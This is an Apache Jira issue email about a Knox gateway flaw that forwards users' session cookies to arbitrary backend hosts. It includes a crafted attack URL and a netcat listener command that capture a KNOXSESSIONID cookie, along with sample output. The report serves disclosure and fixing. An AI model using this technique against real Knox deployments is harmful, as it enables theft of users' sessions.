[ 
https://issues.apache.org/jira/browse/KNOX-2234?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17036644#comment-17036644
 ] 

shanyu zhao commented on KNOX-2234:
-----------------------------------

There are two legs of different authentication: client-Knox, and Knox-backend. 
The problem here is that Knox will forward the "cookie" header from first leg 
directly to second leg, which is wrong. This creates security problems.

Consider this example to access yarn logs:
https://[knoxgateway].com/gateway/default/yarn/logs?scheme=http&host=[anyhost]&port=8090&user.name=root

If a hacker trick a user to click on this URL, that user first authenticate 
with Knox, get a cookie. Then knox forward the request to [anyhost], with the 
cookie header, which is leaked to [anyhost]. If I simply start a web server on 
[anyhost]:
nc -l -p 8090

Then my nc session will receive the cookie info:
GET /logs/?user.name=root HTTP/1.1
X-Forwarded-For: 100.64.0.1​
X-Forwarded-Proto: https​
...
Cookie: KNOXSESSIONID=node0267d1x9cwmyn111u3cg123l1s12.node0;


> Omitting cookie from outbound request header
> --------------------------------------------
>
>                 Key: KNOX-2234
>                 URL: https://issues.apache.org/jira/browse/KNOX-2234
>             Project: Apache Knox
>          Issue Type: Improvement
>    Affects Versions: 1.2.0, 1.3.0
>            Reporter: James Chen
>            Priority: Minor
>              Labels: easy-fix
>         Attachments: KNOX-2234.patch
>
>   Original Estimate: 168h
>  Remaining Estimate: 168h
>
> It is possible for an attacker to directly steal user session information by 
> having a user visit or load a URL using Knox, as cookies are forwarded in the 
> header on the outbound request. This behavior doesn't seem to serve any 
> particular function either, as the endpoint Knox tries to contact shouldn't 
> need any authentication by Knox. We suggest that user-Knox cookies should be 
> omitted from the outbound request.



--
This message was sent by Atlassian Jira
(v8.3.4#803005)

Reply via email to